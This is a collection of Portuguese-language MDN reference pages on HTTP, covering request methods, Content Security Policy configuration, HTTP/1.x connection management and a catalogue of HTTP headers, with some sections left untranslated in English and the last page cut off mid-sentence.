{"title":"Métodos de requisição HTTP - HTTP","text":"Métodos de requisição HTTP\n==========================\n\n> \n> *Nota: O conteúdo original publicado em inglês no Mozilla Developer Network utiliza o termo \"resource\", mantido na tradução, que refere-se a qualquer destino válido ao executar uma conexão usando o protocolo HTTP. Na língua portuguesa, ao falar sobre requisições, o termo é pouco usado com essa finalidade ou contexto.*\n> \n> \n> \n\nO protocolo HTTP define um conjunto de **métodos de requisição** responsáveis por indicar a ação a ser executada para um dado recurso. Embora esses métodos possam ser descritos como substantivos, eles também são comumente referenciados como ***HTTP Verbs (Verbos HTTP)***. Cada um deles implementa uma semântica diferente, mas alguns recursos são compartilhados por um grupo deles, como por exemplo, qualquer método de requisição pode ser do tipo safe, idempotent ou cacheable (en-US).\n\n`GET`\n\nO método `GET` solicita a representação de um recurso específico. Requisições utilizando o método `GET` devem retornar apenas dados.\n\n`HEAD`\n\nO método `HEAD` solicita uma resposta de forma idêntica ao método `GET`, porém sem conter o corpo da resposta.\n\n`POST`\n\nO método `POST` é utilizado para submeter uma entidade a um recurso específico, frequentemente causando uma mudança no estado do recurso ou efeitos colaterais no servidor.\n\n`PUT`\n\nO método `PUT` substitui todas as atuais representações do recurso de destino pela carga de dados da requisição.\n\n`DELETE`\n\nO método `DELETE` remove um recurso específico.\n\n`CONNECT`\n\nO método `CONNECT` estabelece um túnel para o servidor identificado pelo recurso de destino.\n\n`OPTIONS`\n\nO método `OPTIONS` é usado para descrever as opções de comunicação com o recurso de destino.\n\n`TRACE`\n\nO método `TRACE` executa um teste de chamada *loop-back* junto com o caminho para o recurso de destino.\n\n`PATCH`\n\nO método `PATCH` é utilizado para aplicar modificações parciais em um recurso.\n\nEspecificações\n--------------\n\n| Especificação | Título | Comentário |\n| --- | --- | --- |\n| RFC 7231, sessão 4: Request methods | Hypertext Transfer Protocol (HTTP/1.1): Semantics and Content | Especifica os métodos GET, HEAD, POST, PUT, DELETE, CONNECT, OPTIONS, TRACE. |\n| RFC 5789, sessão 2: Patch method | PATCH Method for HTTP | Especifica o método PATCH. |\n\nCompatibilidade com navegadores\n-------------------------------\n\nBCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.\n\nVeja também\n-----------\n\n* Cabeçalhos HTTP"}
{"title":"Utilizando Políticas de Segurança de Conteúdo - HTTP","text":"Utilizando Políticas de Segurança de Conteúdo\n=============================================\n\n**Content Security Policy** (Política de Segurança de Conteúdo, também conhecida como CSP (en-US)) é uma camada adicional de segurança que facilita a detecção e mitigação de certos tipos de ataques, incluindo Cross Site Scripting (XSS (en-US)) e ataques de injeção de dados. Esses ataques são utilizados para diversos fins, e eles vão desde roubo de dados até desfiguração do site para distribuição de malware.\n\nO CSP foi projetado para ser totalmente compatível retroatívelmente (come exceção da versão 2 do CSP onde existem algumas inconsistências explicitamente mencionadas com compatibilidade retroativa; mais detalhes podem ser encontrados aqui na seção 1.1). Os navegadores que não possuem suporte para o CSP ainda irão funcionar com servidores que o implementarem, e vice-versa: navegadores que não fornecem suporte podem simplesmente ignora-lo, funcionando normalmente, utilizando a norma padrão de same-origin policy (en-US) (política de mesma origem) para conteúdo web. Se o site não oferecer o cabeçaho CSP, os navegadores também utilizam a política de same-origin.\n\nPara habilitar o CSP, você precisa configurar seu web server para retornar o cabeçalho `Content-Security-Policy` (algumas vezes você verá menções para o cabeçalho `X-Content-Security-Policy`, mas essa é uma versão antiga que você não precisa especificar mais.\n\nAlternativamente, o elemento `<meta>` pode ser usado para configurar a política, por exemplo: `<meta http-equiv=\"Content-Security-Policy\" content=\"default-src 'self'; img-src https://*; child-src 'none';\">`\n\nAmeaças\n-------\n\n### Mitigando cross site scripting\n\nUm objetivo primário do CSP é de mitigar e reportar ataques XSS. Os ataques de XSS exploram a confiaça do navegador sobre o conteúdo recebido pelo servidor. Scripts maliciosos são executados pelo navegador da vítima porque o navegador confia na origem do conteúdo, mesmo quando sua origem não está vindo de onde parece que está vindo.\n\nO CSP faz com que seja possível para administradores de servidores reduzirem ou eliminarem os vetores em que os ataques de XSS podem ocorrer, especificando os domínios que o navegador deve considerar como origens válidas de scripts para serem executados. Um navegador compatível com o CSP só irá executar então scripts que vierem de arquivos que estejam presentes nos domínios que foram previamente especificados como confiáveis, ignorando todos os outros scripts (incluindo scripts inline e atributos HTML de manipulação de eventos).\n\nComo uma forma de proteção final, os sites que querem nunca permitir a execução de scripts podem optar para desabilitar a execução globalmente.\n\n### Mitigando ataques de captura de pacotes\n\nAlém da restrição de domínios deonde o conteúdo pode ser carregado, o servidor consegue especificar quais protocolos estão habilitados para utilização; por exemplo (e literalmente, de um ponto de vista de segurança), um servidor pode especificar que todo conteúdo deve ser carregando utilizando HTTPS. Uma estratégia completa de transmissão de dados segura inclui não só impor o protocolo HTTPS para transferência de dados, mas também marcar todos os *cookies* com a *secure flag* e prover redirecionamentos automáticos de páginas HTTP para suas versões HTTPS. Os sites também podem utilizar o cabeçalho `Strict-Transport-Security` para garantir que os navegadores se conectem neles apenas usando um canal criptografado.\n\nUtilizando o CSP\n----------------\n\nConfigurar uma Política de Segurança de Conteúdo envolve adicionar o header HTTP `Content-Security-Policy` a uma página web e adicionar valores para controlar recursos que o user-agent é habilitado para carregar para aquela página. Por exemplo, uma página que faz o upload e exibe imagens poderia permitir imagens de qualquer lugar, mas restringir um form action de um end point específico. Uma política de segurança de conteúdo devidamente concebida ajuda a proteger a página contra ataques do tipo cross site scripting. Este artigo explica como construir tais headers devidamente, e provê exemplos.\n\nAnteriormente ao Firefox 23, o header HTTP `X-Content-Security-Policy` era utilizado. Do Firefox 23 em diante começou-se a usar o novo padrão, o header `Content-Security-Policy`. Durante a transição do header anterior para o novo header, sites podiam enviar ambos os header `X-Content-Security-Policy` e `Content-Security-Policy`. Neste caso, o header `X-Content-Security-Policy` seria ignorado e a política contida no header `Content-Security-Policy` seria utilizada.\n\nEspecificando sua política\n--------------------------\n\nVocê pode usar o `Content-Security-Policy` HTTP header para especificar sua política, dessa forma:\n```\n\nContent-Security-Policy: policy\n```\n\n\nA política é uma string contendo as diretivas de políticas descrevendo seu Content Security Policy.\n\nEscrevendo uma política\n-----------------------\n\nUma politica é descrita usando uma série de diretivas de políticas (en-US), cada uma descrevendo uma política para certos tipos de recursos ou áreas de política. Sua política deve incluir uma diretiva de política padrão `default-src`, que cobre os outros tipos de recursos quando eles não possuem política própria. (Para uma lista completa, veja a descrição da diretiva default-src.) Uma política precisa incluir uma diretiva `default-src` ou script-src para evitar que scripts inline sejam executados, assim como bloquear o uso de `eval()`. Uma política precisa incluir uma diretiva `default-src` ou `style-src`para restringir estilos inline de serem aplicados a partir de um elemento `<style>` ou um `.style` atributo.\n\nA sintaxe para uma política é uma string de diretivas separadas por ponto e vírgula `;`, cada seguindo a sintaxe descrita em Diretivas de políticas suportadas.\n\nExemplos: Casos de uso comuns\n-----------------------------\n\nA sessão provê alguns exemplos de alguns cenários comuns de política de segurança.\n\n### Exemplo 1\n\nUm administrador de *web site* quer que todo o conteúdo venha do mesmo *site* de origem (excluindo seus subdomínios).\n```\n\nContent-Security-Policy: default-src 'self'\n```\n\n### Exemplo 2\n\nUm administrador de *web site* quer que todo o conteúdo venha do mesmo *site* de origem, e também de um domínio confiável e seus todos seus subdomínios (não necessariamente precisa ser o mesmo domínio onda a CSP está inserida).\n```\n\nContent-Security-Policy: default-src 'self' *.trusted.com\n```\n\n### Exemplo 3\n\nA web site administrator wants to allow users of a web application to include images from any origin in their own content, but to restrict audio or video media to trusted providers, and all scripts only to a specific server that hosts trusted code.\n```\n\nContent-Security-Policy: default-src 'self'; img-src *; media-src media1.com media2.com; script-src userscripts.example.com\n```\n\n\nHere, by default, content is only permitted from the document's origin, with the following exceptions:\n\n* Images may loaded from anywhere (note the \"\\*\" wildcard).\n* Media is only allowed from media1.com and media2.com (and not from subdomains of those sites).\n* Executable script is only allowed from userscripts.example.com.\n### Exemplo 4\n\nA web site administrator for an online banking site wants to ensure that all its content is loaded using SSL, in order to prevent attackers from eavesdropping on requests.\n```\n\nContent-Security-Policy: default-src https://onlinebanking.jumbobank.com\n```\n\n\nThe server only permits access to documents being loaded specifically over HTTPS through the single origin onlinebanking.jumbobank.com.\n\n### Exemplo 5\n\nA web site administrator of a web mail site wants to allow HTML in email, as well as images loaded from anywhere, but not JavaScript or other potentially dangerous content.\n```\n\nContent-Security-Policy: default-src 'self' *.mailsite.com; img-src *\n```\n\n\nNote that this example doesn't specify a `script-src`; with the example CSP, this site uses the setting specified by the `default-src` directive, which means that scripts can be loaded only from the originating server.\n\nTestando sua política\n---------------------\n\nTo ease deployment, CSP can be deployed in \"report-only\" mode. The policy is not enforced, but any violations are reported to a provided URI. Additionally, a report-only header can be used to test a future revision to a policy without actually deploying it.\n\nYou can use the `Content-Security-Policy-Report-Only` HTTP header to specify your policy, like this:\n```\n\nContent-Security-Policy-Report-Only: policy\n```\n\n\nIf both a `Content-Security-Policy-Report-Only` header and a `Content-Security-Policy` header are present in the same response, both policies are honored. The policy specified in `Content-Security-Policy` headers is enforced while the `Content-Security-Policy-Report-Only` policy generates reports but is not enforced.\n\nNote that the `X-Content-Security-Policy-Report-Only` header was used before Firefox 23. If both the `X-Content-Security-Policy-Report-Only` and `Content-Security-Policy-Report-Only` are sent, the `Content-Security-Policy-Report-Only` will be used and the `X-Content-Security-Policy-Report-Only` will be ignored.\n\nThe UserCSP Addon also helps test and develop Content Security Policies for a site.\n\nVeja também\n-----------\n\n* Introducing Content Security Policy\n* CSP policy directives\n* Using CSP violation reports\n* Content Security Policy recommendation bookmarklet"}
{"title":"Gerenciamento de Conexão em HTTP/1.x - HTTP","text":"Gerenciamento de Conexão em HTTP/1.x\n====================================\n\nGerenciamento de Conexão é um tema central em HTTP: abertura e manutenção de conexões e em grande parte tem impacto sobre o desempenho de Web sites e aplicações Web. Existem vários modelos, em HTTP/1.x: *ligações de curta duração, conexões persistentes, canalização e HTTP (HTTP pipelining)*.\n\nHTTP é um protocolo de transporte que fornece conexão entre o cliente e o servidor geralmente depende de TCP. Em sua infância, HTTP usava um único modelo para lidar com tais conexões. Sua conexão é de curta duração. Essas conexões foram de curta duração: criado um novo cada vez que enviar um pedido necessário, e fechado uma vez a resposta tinha sido recebida.\n\nEste simples modelo realiza uma limitação inata em desempenho: a abertura de cada uma das conexões TCP é uma operação de consumo de recursos.Várias mensagens devem ser trocadas entre o cliente e o servidor. Latência de rede e largura de banda afetam o desempenho quando precisa de uma solicitação de envio. Páginas de Web modernas exigem muitos pedidos (uma dúzia ou mais) para servir a quantidade de informação necessária, provando este modelo anterior ineficiente.\n\nDois novos modelos foram criados no HTTP/1.1.\n\n1. **O modelo de conexão persistente**, mantém conexões abertas entre solicitações sucessivas, reduzindo o tempo necessário para abrir novas conexões.\n2. **O modelo de pipelining HTTP**, vai um passo além, enviando várias solicitações sucessivas sem nem esperar por uma resposta, reduzindo em grande parte a latência da rede.\n\n![Compares the performance of the three HTTP/1.x connection models: short-lived connections, persistent connections, and HTTP pipelining.](/pt-BR/docs/Web/HTTP/Connection_management_in_HTTP_1.x/http1_x_connections.png)\n\n**Nota:** HTTP/2 Adiciona modelos adicionais para o gerenciamento de conexão.\n\nUm ponto importante para observar, que gerenciamento de conexão HTTP, aplica-se para a conexão entre dois nós consecutivos, que é o hop-by-hop e não end-to-end . O modelo usado em conexões entre um cliente e seu primeiro proxy pode diferir do modelo entre um proxy e o servidor de destino (ou qualquer proxies intermédios). Os cabeçalhos HTTP envolvidos na definição do modelo de conexão, como `Connection` e `Keep-Alive`, são hop-by-hop, cabeçalhos com seus valores poderão ser alterados por nós intermediários.\n\nShort-lived connections (Conexões de curta duração)\n---------------------------------------------------\n\nO modelo original de HTTP e o padrão HTTP/1.0, é short-lived connections (conexões de curta duração). Cada solicitação HTTP é concluída na sua própria conexão; Isto significa que um handshake TCP acontece antes de cada solicitação HTTP, e estas são serializadas.\n\nO handshake TCP em si é demorado, mas uma conexão TCP adapta-se a sua carga, tornando-se mais eficiente com mais conexões sustentadas (ou aquecidas). Conexões de curta duração não fazem uso desse recurso de eficiência do TCP, e degrada o desempenho do ideal persistindo para transmitir mais de uma conexão nova, frio.\n\ncabeçalhos com seus valores poderão ser alterados por nós intermediários. (if there is no `Connection` header, or if its value is set to `close`). Em HTTP/1.1 este modelo é apenas usado quando o `Connection`cabeçalho é enviado com um valor de fechamento.\n\n**Nota:** A menos que lidemos com um sistema muito antigo, que não suporta uma conexão persistente, não há nenhuma razão convincente para usar este modelo.\n\nConexões Persistentes\n---------------------\n\nShort-lived connections (conexões de curta duração) tem dois grandes problemas: o tempo necessário para estabelecer uma nova conexão é significativo, e desempenho da conexão TCP subjacente melhora somente quando esta conexão tem sido usado há algum tempo (conexão quente). Para aliviar estes problemas, foi concebido o conceito de uma conexão persistente, mesmo antes de HTTP/1.1. Alternativamente, este pode ser chamado uma conexão keep-alive.\n\nÉ uma conexão persistente que permanece aberto por um período e pode ser reutilizado por vários pedidos, salvando a necessidade de um novo handshake TCP, e utilizando recursos para melhorar o desempenho do TCP. Esta conexão não vai ficar aberta para sempre: conexões ociosas são fechadas depois de algum tempo (um servidor pode usar o cabeçalho `Keep-Alive` para especificar um tempo mínimo de conexão que deve ser mantido aberto).\n\nConexões persistentes também têm desvantagens, mesmo quando em marcha lenta eles consomem recursos do servidor e sob pesada carga, pode efetuar-se DoS attacks (en-US). Em tais casos, usar conexões não-persistentes, que estão fechadas, assim como elas estão ociosas, pode fornecer um melhor desempenho.HTTP/1.0 as conexões sem persistencia por default.Setting `Connection` para algo diferente de fechar, costuma após repetir, irá torná-los persistente.\n\nEm HTTP/1.1, persistencia é o padrão e o cabeçalho não é mais necessário (mas ele é adicionado frequentemente como uma medida defensiva contra casos que exigem um fallback para HTTP/1.0).\n\nHTTP pipelining\n---------------\n\n**Nota:** HTTP o pipelining não é ativado por padrão em navegadores modernos:\n\n* Buggy proxies são ainda comuns e eles levam a comportamentos estranhos e erráticos que desenvolvedores Web não podem prever e diagnosticar facilmente.\n* Pipelining é complexo para implementar corretamente: o tamanho do recurso a ser transferido, a efetiva RTT que será usado, bem como a largura de banda efetiva, têm uma incidência direta na melhoria fornecida pelo pipeline. Sem conhecer eles, mensagens importantes podem ser atrasadas por detrás aqueles sem importância. A noção de importante mesmo evolui durante o layout de página! Pipeline HTTP, portanto, traz uma melhoria marginal na maioria dos casos apenas.\n* Pipelining está sujeito à problema HOL.\n\nPor estas razões, o pipelining tem sido substituído por um algoritmo melhor, multiplexação, que é usado pelo HTTP/2.\n\nPor padrão, HTTP as solicitações são emitidas sequencialmente. A próxima solicitação só é emitida depois que recebeu a resposta para a solicitação atual. Como eles são afetados pelas latências de rede e as limitações de largura de banda, isso pode resultar em atrasos significativos antes que a próxima solicitação é vista pelo servidor.\n\nPipelining é o processo para enviar solicitações sucessivas, sobre a mesma conexão persistente, sem esperar pela resposta. Isso evita a latência da conexão. Teoricamente, desempenho também poderia ser melhorado se duas solicitações HTTP para ser embalado na mesma mensagem TCP. O MSS típico (tamanho máximo de segmento), é grande o suficiente para conter várias solicitações simples, embora a demanda em tamanho de solicitações HTTP continua a crescer.\n\nNem todos os tipos de solicitações HTTP podem ser intermitente: only idempotent método, isso é `GET`, `HEAD`, `PUT` e `DELETE` pode ser repetido com segurança: uma falha pode acontecer, o conteúdo do pipeline simplesmente pode ser repetido.\n\nHoje, cada proxy HTTP/1.1-compatível e servidor devem apoiar o pipelining, embora muitos têm limitações na prática: uma razão significativa, nenhum navegador moderno ativa esse recurso por padrão.\n\nDomain sharding\n---------------\n\n**Nota:** A menos que você tem uma necessidade muito específica e imediata, não use esta técnica depreciada; Mude para HTTP/2 ao invéz. Em HTTP/2, sharding domínio não é mais útil: a conexão HTTP/2 é capaz de manipular as solicitações sem prioridades paralelas muito bem. Sharding domínio é mesmo prejudicial ao desempenho. A maioria dos implementação de HTTP/2 usam uma técnica chamada connection coalescing para reverter o sharding de domínio eventual.\n\nComo uma conexão de HTTP/1.x está serializando solicitações, mesmo sem qualquer ordenação, não pode ser ideal sem largura de banda grande o suficiente disponível. Como uma solução, os navegadores abrir várias conexões para cada domínio, enviando solicitações paralelas. Era padrão conexões de 2 a 3, mas isto agora aumentou para um uso mais comum de 6 conexões paralelas. Há um risco de provocar proteção DoS (en-US) no lado do servidor, se tentar mais do que este número.\n\nSe o servidor deseja um site de Web mais rápido ou resposta do aplicativo, é possível para o servidor forçar a abertura de mais conexões. Por exemplo, em vez de ter todos os recursos no mesmo domínio, diz www.example.com, poderia dividir em vários domínios, www1.example.com, www2.example.com, www3.example.com. Cada um destes domínios resolver acessar o mesmo servidor e o navegador da Web abrirá 6 conexões para cada (no nosso exemplo, impulsionando as conexões para 18). Esta técnica é chamada sharding do domínio.\n\n![](/pt-BR/docs/Web/HTTP/Connection_management_in_HTTP_1.x/httpsharding.png)\n\nConclusão\n---------\n\nGerenciamento de conexão melhorada permite considerável aumento de desempenho em HTTP. Com HTTP/1.1 ou HTTP/1.0, usando uma conexão persistente – pelo menos até que se torne ocioso – levando para o melhor desempenho. No entanto, o falha do pipelining tem levado para a concepção de modelos de gestão de conexão superior, que foram incorporados ao HTTP/2."}
{"title":"Básico sobre HTTP - HTTP","text":"Básico sobre HTTP\n=================\n\nHTTP é um protocolo bem extensivo. Isso depende um pouco do conceito básico com noção de recursos e URIs, uma simples estrutura de mensagens, e uma estrutura de cliente-servidor para a comunicação ocorrer. Em cima destes conceitos básicos, várias versões surgiram ao longo do tempo, adicionando novas funcionalidades e novas semanticas para criar novos métodos HTTP ou cabeçalhos.\n\nArtigos\n-------\n\nVisão geral sobre HTTP\n\nDescreve o que é HTTP e quais as regras para arquitetura Web, sua posição na lista de protocolos.\n\nEvolução do HTTP (en-US)\n\nHTTP foi criada no inicio dos anos 1990 e vem evoluindo ao longo do tempo. Esse artigo passa por sua história e descreve HTTP/0.9, HTTP/1.0, HTTP/1.1, e o moderno HTTP/2 bem como pequenas novidades adicionadas ao longo de seus anos.\n\n**Negociação entre versões HTTP**\n\nExplicações de como um cliente e um servidor conseguem negociar em uma versão expecífica do HTTP e enventuais atualizaçõs nos protocolos usados;\n\nRecursos e URIs (en-US)\n\nUma breve introdução sobre noção de recursos, identicadores e localizações na Web.\n\nIdentificando recursos na Web\n\nDescreve como os recursos Web são referênciados e como encontrar eles.\n\nData URIs (en-US)\n\nUm tipo especifico de URIs que incorpora diretamente os recursos apresentados, Data URIs são muito convenientes, mas tem algumas ressalvas\n\n**Separando identidades e localização de recursos: O cabeçalho Alt-Svc HTTP**\n\nNa maioria das vezes, a indentidade ea localização de um recurso da Web são compartilhados, isso pode ser mudado com no cabeçalho `Alt-Svc`.\n\nMIME types\n\nDesde HTTP/1.0, diferentes tipos de conteúdos poderam ser transmitidos. Esse artigo explica como funciona usando o {cabeçalho {HTTPHeader(\"Content-Type\")}} e o MIME standard.\n\nEscolhendo entre URLs www e sem-www (en-US)\n\nAjuda de como usar o prefixo www no domínio ou não, esse artigo fala as consequencias da escolhe e também como fazer isso.\n\nFluxo de sessões HTTP\n\nEsse artigo fundamente descreve uma típica sessão HTTP: o que acontece por trás do do navegador quando você clica em um link.\n\nMensagens HTTP\n\nMensagens HTTP transmitidas durante o pedido ou resposta tem uma clara estrutura; isso introduz descrição sobre essas estrutura no artigo, seus proprósitos e suas possibilidades.\n\nQuadro e estrutura de mensagens no HTTP/2\n\nHTTP/2 junta e representa mensagens do HTTP/1.x em um quadro binário. Esse artigo explica a estrutura do quadro, sua finalidade ea maneira como ele é codificado.\n\nGerenciamento de conexão no HTTP/1.x\n\nHTTP/1.1 foi a primeira versão do HTTP a suportar conexão constante e canalizar elas. Esse artigo explica sobre estes dois conceitos.\n\nGerenciamento de conexão no HTTP/2\n\nHTTP/2 Revisitou completamente como as conexões são criadas e mantidas: esse artigo explica como os quadros HTTP permitem multiplexação e resolver o bloco 'head-of-line' bloqueio das versões anteirores do HTTP.\n\nConteúdo da negociação\n\nHTTP introduz um conjunto de cabeçalhos, começando com `Accept-` como o meio que o navegador anuncia o formato, linguagem, ou a codificação é preferida. Esse artigo explica como esse anuncio acontece, como o servidor é esperado para reagir e como será escolhido a melhor resposta."}
{"title":"Cabeçalhos HTTP - HTTP","text":"Cabeçalhos HTTP\n===============\n\nOs cabeçalhos HTTP permitem que o cliente e o servidor passem informações adicionais com a solicitação ou a resposta HTTP. Um cabeçalho de solicitação é composto por seu nome *case-insensitive* (não diferencia letras maiúsculas e minúsculas), seguido por dois pontos ':' e pelo seu valor (sem quebras de linha). Espaços em branco antes do valor serão ignorados.\nCabeçalhos proprietários personalizados podem ser adicionados usando o prefixo 'X-', mas essa convenção foi descontinuada em Junho de 2012, devido aos inconvenientes que causou quando os campos não-padronizados tornaram-se padronizados na RFC 6648; outros estão listados em um registro IANA, cujo o conteúdo original foi definido na RFC 4229. O IANA também mantém o registro das propostas de novas mensagens de cabeçalhos HTTP.\n\nCabeçalhos podem ser classificados de acordo com os seus contextos:\n\n* Cabeçalho genérico: Cabeçalhos que podem ser usados tanto em solicitações quanto em respostas, porém sem relação com os dados eventualmente transmitidos no corpo da mensagem.\n* Cabeçalho de solicitação: Cabeçalhos contendo mais informação sobre o recurso a ser obtido ou sobre o próprio cliente.\n* Cabeçalho de resposta (en-US): Cabeçalhos contendo informação adicional sobre a solicitação, como a sua localização ou sobre o servidor.\n* Cabeçalho de entidade: Cabeçalhos contendo mais informação sobre o conteúdo da entidade, como o tamanho do conteúdo ou o seu *MIME-type*.\n\nCabeçalhos também podem ser classificados de acordo com a forma que são manipulados por *proxies*.\n\nEnd-to-end headers\n\nEsses cabeçalhos devem ser transmitidos para o destinatário final da mensagem; isso é, o servidor em caso de solicitação ou o cliente caso resposta. *Proxies* intermediários devem reenviar cabeçalhos de *end-to-end* sem alterações e caches devem armazená-los.\n\nHop-by-hop headers\n\nEsses cabeçalhos são significativos apenas para uma única conexão a nível de transporte e não devem ser reenviados por *proxies* ou armazenados em cache. Tais cabeçalhos são: `Connection`, `Keep-Alive`, `Proxy-Authenticate`, `Proxy-Authorization`, `TE`, `Trailer`, `Transfer-Encoding` and `Upgrade` (en-US). Observe que apenas cabeçalhos *hop-by-hop* podem ser definidos utilizando o cabeçalho genérico `Connection`.\n\nA lista a seguir resume os cabeçalhos HTTP pela categoria de uso. Para uma lista alfabética, utilize o menu à esquerda.\n\nAutenticação\n------------\n\n`WWW-Authenticate`\n\nDefine o método de autenticação que deve ser utilizado para conseguir acesso ao recurso.\n\n`Authorization`\n\nContém as credenciais para autenticar um User-Agent com o servidor.\n\n`Proxy-Authenticate`\n\nDefine o método de autenticação que deve ser utilizado para conseguir acesso ao recurso por trás de um servidor Proxy.\n\n`Proxy-Authorization`\n\nContém as credenciais para autenticar um User-Agent com o servidor Proxy.\n\nCaching\n-------\n\n`Age`\n\nO tempo em segundos em que o objeto esteve em um cache de proxy.\n\n`Cache-Control`\n\nEspecifica diretivas para mecanismos de cache em requisições e respostas.\n\n`Expires`\n\nA data/hora depois que a resposta é considerada obsoleta.\n\n`Pragma`\n\nCabeçalho específico da implementação que pode ter varios efeitos em qualquer lugar ao longo da sequência de requisição-resposta. Usado para compatibilidade de versões anteriores com caches HTTP/1.0 onde o header Cache-Control ainda não está presente.\n\n`Warning`\n\nUm campo de alerta geral contendo informações sobre possíveis problemas.\n\nClient hints\n------------\n\nO recurso HTTP Client hints (en-US) ainda está em desenvolvimento. A documentação está disponível no site do HTTP working group.\n\n`Accept-CH` \nExperimental\n\nOs servidores podem dar suporte para o Client hints (en-US) usando o campo de cabeçalho Accept-CH ou um elemento HTML <meta> equivalente com atributo http-equiv ([HTML5]).\n\n`Accept-CH-Lifetime` \nExperimental\n\nOs servidores podem solicitar ao cliente que lembre-se do conjunto de Client hints (en-US) que o servidor dá suporte por um período de tempo especificado, para permitir a entrega de Client hints (en-US) em solicitações seguidas ao servidor de origem([RFC6454]).\n\n`Content-DPR` (en-US) \nExperimental\n\nUm número que indica a proporção entre pixels físicos sobre pixels CSS da resposta de imagem selecionada.\n\n`DPR` \nExperimental\n\nUm número que indica o Device Pixel Ratio (DPR) atual do cliente, que é a proporção dos pixels físicos sobre os pixels CSS (Seção 5.2 de [CSSVAL]) do viewport do layout (Seção 9.1.1 do [CSS2]) no dispositivo.\n\n`Device-Memory` \nExperimental\n\nTecnicamente uma parte da API de Memória do Dispositivo (Device Memory API), este cabeçalho representa uma quantidade aproximada de RAM que o cliente possui.\n\n`Save-Data` \nExperimental\n\nUm boleano que indica a preferência do agente do usuário pelo uso reduzido de dados.\n\n`Viewport-Width` (en-US) \nExperimental\n\nUm número que indica a largura em pixels do viewport do layout em pixels CSS. O valor em pixels disponibilizado é um número arredondado do menor inteiro seguinte. (i.e. valor ceiling).\n\nSe `Viewport-Width` ocorrer em uma mensagem mais de uma vez, o último valor irá sobrescrever todas as ocorrências anteriores.\n\n`Width` (en-US) \nExperimental\n\nO campo `Width` no cabeçalho da requisição é um número que indica a largura desejada do recurso em pixels físicos (i.e. tamanho intrínseco da imagem). O valor do pixel provido é um número arredondado para o menor inteiro seguinte.\n\nSe a largura do recurso desejada não for conhecida no momento da solicitação ou o recurso não tiver uma largura de exibição, o campo `Width` poderá ser omitido do cabeçalho. Se `Width` ocorrer em uma mensagem mais de uma vez, o último valor irá sobrescrever todas as ocorrências anteriores.\n\nCondicionais\n------------\n\n`Last-Modified`\n\nÉ um validador, a última data de modificação de um recurso, usado para comparar várias versões de um mesmo recurso. É menos preciso que o `ETag`, mas é mais fácil calcular em alguns ambientes. Requisições condicionais usando `If-Modified-Since` e `If-Unmodified-Since` usam esse valor para modificar o comportamento da requisição.\n\n`ETag`\n\nÉ um validador, uma string única identificando a versão do recurso. Requisições condicionais usando `If-Match` e `If-None-Match` usam esse valor para modificar o comportamento da requisição.\n\n`If-Match`\n\nFaz a requisição condicional e aplica o método apenas se o recurso armazenado corresponder a uma das ETags fornecidas.\n\n`If-None-Match`\n\nFaz a requisição condicional e aplica o método apenas se o recurso armazenado não corresponder a nenhuma das ETags fornecidas. É usado para atualizar caches ( para requisições seguras), ou para prevenir o upload de um novo recurso quando este já existe.\n\n`If-Modified-Since`\n\nFaz a requisição condicional e espera a entidade ser transmitida somente se tiver sido modificada após a data especificada. É usado para transmitir dados somente se o cache estiver desatualizado.\n\n`If-Unmodified-Since`\n\nFaz a requisição condicional e espera a entidade ser transmitida somente se **não** tiver sido modificada após a data especificada. É usado para garantir a coerência de um novo fragmento de um intervalo específico com os anteriores, ou para implementar um Sistema de Controle de concorrência otimista ao modificar os documentos existentes.\n\nGerenciamento de Conexão\n------------------------\n\n`Connection`\n\nControla se uma conexão de rede continua ou não aberta após o término da transação atual.\n\n`Keep-Alive`\n\nControla por quanto tempo uma conexão persistente deve permanecer aberta.\n\nNegociação de conteúdo\n----------------------\n\n`Accept`\n\nInforma ao servidor sobre os tipos de dados que podem ser enviados de volta. Isto é MIME-type.\n\n`Accept-Charset`\n\nInforma ao servidor sobre qual conjunto de caracter o cliente é capaz de entender.\n\n`Accept-Encoding`\n\nInforma ao servidor sobre o algoritmo de codificação, geralmente um algoritmo de compressão, isto pode ser usado no recurso enviado de volta.\n\n`Accept-Language`\n\nInforma ao servidor sobre a linguagem que é esperada que o servidor envie de volta. Esta é uma dica e não está necessariamente sob controle total do usuário: o servidor deve sempre prestar atenção para não sobrepor uma escolha explícita do usuário (como selecionar uma linguagem em uma lista suspensa).\n\nControles\n---------\n\n`Expect`\n\nIndica expectativas que precisam ser atendidas pelo servidor para lidar adequadamente com a solicitação.\n\n`Max-Forwards` (en-US)\n\n...\n\nCookies\n-------\n\n`Cookie`\n\nContém cookies HTTP armazenados previamente enviados pelo servidor com o cabeçalho `Set-Cookie`.\n\n`Set-Cookie`\n\nEnvia cookies do servidor para o agente de usuário.\n\n`Cookie2`\n\nContém um cookie HTTP enviado anteriormente pelo servidor com o cabeçalho `Set-Cookie2`, mas se tornou obsoleto pela especificação. Use `Cookie` em vez disso.\n\n`Set-Cookie2`\n\nEnvia cookies do servidor para o agente-usuário, mas se tornou obsoleto pela especificação. Use `Set-Cookie` em vez disso.\n\nCORS\n----\n\n`Access-Control-Allow-Origin`\n\nIndica se a resposta pode ser compartilhada.\n\n`Access-Control-Allow-Credentials`\n\nIndica se a resposta a requisição pode ou não ser exposta quando a flag de crendenciais é verdadeira.\n\n`Access-Control-Allow-Headers`\n\nUsado na resposta para uma solicitação de comprovação (preflight request) para indicar quais cabeçalhos HTTP podem ser usados ao fazer a solicitação real.\n\n`Access-Control-Allow-Methods`\n\nEspecifica o método, ou métodos, permitido ao acessar o recurso em resposta à solicitação de comprovação (preflight request).\n\n`Access-Control-Expose-Headers`\n\nIndica quais cabeçalhos podem ser expostos como parte da resposta listando seus nomes.\n\n`Access-Control-Max-Age`\n\nIndica por quanto tempo os resultados de uma solicitação de comprovação (preflight request) podem ser armazenados em cache.\n\n`Access-Control-Request-Headers`\n\nUtilizado ao emitr uma solicitação de comprovação (preflight request) para informar ao servidor quais cabeçalhos HTTP serão usados quando a solicitação real for realizada.\n\n`Access-Control-Request-Method`\n\nUtilizado ao emitir uma solicitação de comprovação (preflight request) para informar ao servidor qual método HTTP será usado quando a solicitação real for realizada.\n\n`Origin`\n\nInddica de onde uma busca se origina.\n\n`Timing-Allow-Origin`\n\nEspecifica as origens que tem permissão para ver valores de atributos recuperados por meio de recursos da API de Tempo de Recurso (Resource Timing API) que, de outra forma, seriam relatados como zero devido a restrições de origem cruzada (cross-origin restrictions).\n\nDo Not Track\n------------\n\n`DNT`\n\nUsado para expressas a preferência de rastreamento do usuário\n\n`Tk`\n\nIndica o status de rastreamento aplicado à requisição correspondente.\n\nDownloads\n---------\n\n`Content-Disposition`\n\nIndica se o recurso 